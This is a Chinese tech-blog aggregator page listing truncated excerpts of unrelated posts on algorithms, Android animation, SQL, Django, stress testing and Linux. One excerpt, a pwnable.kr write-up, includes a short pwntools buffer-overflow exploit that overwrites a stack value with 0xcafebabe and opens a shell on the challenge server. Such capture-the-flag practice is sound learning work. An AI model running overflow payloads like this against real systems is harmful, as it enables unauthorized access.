[WC2018]即时战略(LCT,splay上二分)

[UOJ题面]http://uoj.ac/problem/349 一道非常好的与数据结构有关的交互题。 首先先看部分分做法, 一上来我们肯定得钦定一个 \(explore\) 的顺序,直接随机就好。 当 \(n\) 很小的时候就是直接从 1 号点一路 \(explore\) 过去就好了,这样次数是 \(O(n^2)\) 的。 由于完全二叉树树高是 log 的,所以它实际也能过第二个包。 然后来看一下链的情况,稍加思考我们可以得到这么一个做法:就是维护当前已经 \(explore\) 的点的连续
分类: 其他 发布时间: 05-21 22:44 阅读次数: 0

Material Design Animation(Property 动画)

Property Animation 属性动画 属性动画所提供的功能和 View 动画十分相似。但两者在实现原理上完全不同,而相对 View 动画来说,属性动画要强大的许多。这里我们先对两者做个对比: View 动画/视图动画: View 动画只能为 View 添加动画效果,且不能监听 View 相关属性的变化过程。 View 动画提供的动画能力较为单一,目前只支持帧动画、缩放动画、位移动画、旋转动画、透明度动画以及这些动画的集合动画。 View动画改变的是 View 的绘制效果,View 的
分类: 其他 发布时间: 05-21 22:44 阅读次数: 0

mysql之SQL入门与提升(二)

在mysql之SQL入门与提升(一)我们已经有了些许基础,今天继续深化 先造表 SET NAMES utf8; SET FOREIGN_KEY_CHECKS = 0; -- ---------------------------- -- Table structure for `access_log` -- ---------------------------- DROP TABLE IF EXISTS `access_log`; CREATE TABLE `access_log` ( `a
分类: 其他 发布时间: 05-21 22:44 阅读次数: 0

块元素与行列元素

一、基本概念 1.行内元素<span><a>等 2.块内元素block <div><p> 行内元素一般放文本和其他的行内元素,块内元素都可以放 二、块元素与行内元素相互转换 .s1{ background: gold; display: block; } .s2{ background-color:red ; width: 100px; } .s3{ background: pink; display: inline; }
分类: 其他 发布时间: 05-21 22:44 阅读次数: 0

2014ACM/ICPC亚洲区西安站 F题 color (组合数学,容斥原理)

传送门:https://vjudge.net/problem/129666/origin 题意: 有n个点m种颜料,问你用k种颜色,有多少种方法,使得相邻两点的颜色不一样 题解: 容斥+组合数 我们很容易知道,用t种颜色去涂n个格子,方案数为 \[ t*(t-1)^{n-1} \] 并不是,因为我们可以这样想 如果我选用最多的五种颜色1,2,3,4,5去染色的话,我们可以会染出1,2,1,2这样的结果 而如果只用两种颜色1,2去染色的话,我们也会染出1,2,1,2这样的结果 因此我们的答案是错
分类: 其他 发布时间: 05-21 22:44 阅读次数: 0

windows中ftp下载脚本(bat+vb)

做了个ftp下载脚本: ftpdownload.bat @rem 注释:从ftp服务器每小时下载北向性能文件的脚本 @rem 用vb脚本取昨天 for /f %%a in ('cscript //nologo yester.vbs') do set yesterday=%%a cd data @rem vb得到的昨天(yesterday)的格式是20190521,想要得到2019-05-21格式的日期,其中的 - 需要通过拼接实现 mkdir %yesterday:~0,
分类: 其他 发布时间: 05-21 22:44 阅读次数: 0

终端cmd创建django

1、终端先进入你要放项目的目录。 C:\Users\Administrator>d: 在命令行输入:django-admin startproject 项目名 。回车,此时创建了一个项目。 例:django-admin startproject mysit D:\>django-admin startproject mysite 2、创建好了一个diango项目,然后再需要创建自己的一个应用项目,比如叫blog。命令行同样需要切换到mysite目录下。 D:\>cd D:\>cd mysite
分类: 其他 发布时间: 05-21 22:44 阅读次数: 0

win10 更新19h1后 vmware虚拟机黑屏问题

为了体验terminal,开通了win 10 预览体验计划,结果vmware就白给了。 表现为打开虚拟机就黑屏,占用cpu,而且无法暂停和关闭。 更新vmware到15.10就没问题了~
分类: 其他 发布时间: 05-21 22:44 阅读次数: 0

Windows form UI skinEngine的使用方法

1.安装SkinEngine(这里安装的是3.4.7) 链接: https://pan.baidu.com/s/1-kZ5KgYclshWc17jbuke5w 提取码: bp7n 复制这段内容后打开百度网盘手机App,操作更方便哦 2.添加 IrisSkin2.dll 链接: https://pan.baidu.com/s/1r3PZ8SRUnM7GHFaggL2j0w 提取码: 8ak6 复制这段内容后打开百度网盘手机App,操作更方便哦 3.下载皮肤文件(我这里可以提供60种)(拷贝到项目
分类: 其他 发布时间: 05-21 22:44 阅读次数: 0

OO_JML系列_单元总结

概述:   面向对象第三单元的任务是根据JML规格,继承相应的接口,实现相应的类。其中涉及一系列的算法以及数据结构的选择问题,高效的算法和合适的数据结构能够减少CPU时间、运行时间和运行内存,使得程序得到优化。 一、梳理JML语言的理论基础、应用工具链情况 1、理论基础   Java建模语言是用于对Java程序进行规格化设计的一种表示语言。在Java代码中增加了一些符号,这些符号用来标识一个方法是干什么的,却并不关心它的实现。   JML规格大致包含以下内容: public model ins
分类: 其他 发布时间: 05-21 22:44 阅读次数: 0

SQLAlchemy 学习笔记(三):ORM 中的关系构建

个人笔记,不保证正确。 关系构建:ForeignKey 与 relationship 关系构建的重点,在于搞清楚这两个函数的用法。ForeignKey 的用法已经在 SQL表达式语言 - 表定义中的约束 讲过了。主要是 ondelete 和 onupdate 两个参数的用法。 relationship relationship 函数在 ORM 中用于构建表之间的关联关系。与 ForeignKey 不同的是,它定义的关系不属于表定义,而是动态计算的。 用它定义出来的属性,相当于 SQL 中的视图
分类: 其他 发布时间: 05-21 22:44 阅读次数: 0

[技术博客]几种网站压力测试工具调研与使用

[技术博客]几种网站压力测试工具调研与使用 我们在beta阶段对于网站访问做了不少优化工作,因此打算在本阶段尾声时对网站做了一个简单的压力测试,进而估算一下网站现在的并发量及处理能力。因此,我们对现有较流行的几种网络压力测试工具进行了简单调研并尝试部署使用。 [技术博客]几种网站压力测试工具调研与使用 1. 在线网站 1.1. 优势 1.2. 缺陷 1.3. 测试结果样例 2. 测试工具 2.1. ab 2.1.1. 使用方法 2.1.2. 测试结果 2.1.3. 优势与缺陷 2.2. sie
分类: 其他 发布时间: 05-21 22:44 阅读次数: 0

有赞订单同步的探索与实践 数据一致性

有赞订单同步的探索与实践 https://tech.youzan.com/you-zan-ding-dan-tong-bu-de-tan-suo-yu-shi-jian-2/
分类: 其他 发布时间: 05-21 22:44 阅读次数: 0

pwnable.kr第二天

3、bof 这题就是简单的数组越界覆盖,直接用gdb 调试出偏移就ok from pwn import * context.log_level='debug' payload='A'*52+p32(0xcafebabe) print payload turn=True if turn: p=remote('pwnable.kr',9000) else: p=process('./bof') p.sendline(payload) p.interactive(
分类: 其他 发布时间: 05-21 22:44 阅读次数: 0

压力测试报告

压力测试报告 在beta阶段尾声时,我们对网站进行了一次压力测试。同时我们也对alpha发布以及去年的产品做了同样的测试进行对比。测试代码可以参考我们上一篇测试工具介绍的博客。 测试环境与项目 我们使用了一台vultr服务器进行测试,配置为1c/1G RAM+1G swap/1Tbps/LA,与生产环境相同,测试时间为凌晨2点左右,确保尽量不影响正常用户以及性能瓶颈不在测试服务器上。测试环境与生产环境相对独立,是当时生产环境的快照,确保用户资料的安全性。在测试时我们临时禁用了CSRF,CROS
分类: 其他 发布时间: 05-21 22:44 阅读次数: 0

C#面向对象笔记

1、面向对象核心概念 (1)类是抽象,对象是实例,new一个对象会分配一块堆空间,对象指向该空间的地址,将对象赋值给另一个对象,只是将地址赋给它,指向的是同一块空间。 e.g. class Car { public string name; public void showName() { Console.WriteLine("这是一辆" + name); } }
分类: 其他 发布时间: 05-21 22:44 阅读次数: 0

前端概念理解

模板时代我为什么称之为模板时代呢?是因为那个时代的的前端被称之为切图崽,后端生成html模板,返回到客户端,在渲染成html网页,啊,慢的一匹。前后分离的造神时代传统的MCV形式:前端写html,后端套界面,转成jsp、asp、php等这种模板。前后端分离MVVM形式:前端html5、js、css3、逻辑处理、异步接口获取等。 目前比较主流框架:vue、react、angular等框架。前后端分离
分类: 编程语言 发布时间: 05-21 22:31 阅读次数: 0

有赞统一日志平台初探

小结: 1、 有赞统一日志平台初探 https://tech.youzan.com/you-zan-tong-ri-zhi-ping-tai-chu-tan/ 有赞统一日志平台初探 - 简书 https://www.jianshu.com/p/8b45af25cbe9 shuchen | 23 Apr 2016 | 18 min (4901 words) 有赞统一日志平台初探
分类: 其他 发布时间: 05-21 22:28 阅读次数: 0

L1-Day32

我的解析 5.21 日 星期二 1、今年冬天我打算买一件貂皮外套。(突破点: “打算” ) 【我的翻译】I am going to buy a marten-made coat in this winter. 【标准答案】I am going to buy a mink jacket this winter 【对比分析】结构上没有问题,用词上貂皮外套我使用的是分词自己造的词,在今年冬天我用了in,答案直接使用this winter. 【解题思路】will和be going to在计划,打算方w
分类: 其他 发布时间: 05-21 22:28 阅读次数: 0

Linux基础笔记_05

系统信息相关命令   • 时间和日期     date  查看系统时间     cal   查看日历,-y选项可以查看一年的日历   • 磁盘和目录空间     df -h  显示磁盘剩余空间        du -h[目录名]  显示目录下的文件大小     -h:以人性化的方式显示文件大小  打包压缩   • 打包压缩 是日常工作中备份文件的一种方式     windows常用:rar     Mac 常用:zip     Linux 常用:tar.gz 01. 打包/解包     # 打
分类: 其他 发布时间: 05-21 22:28 阅读次数: 0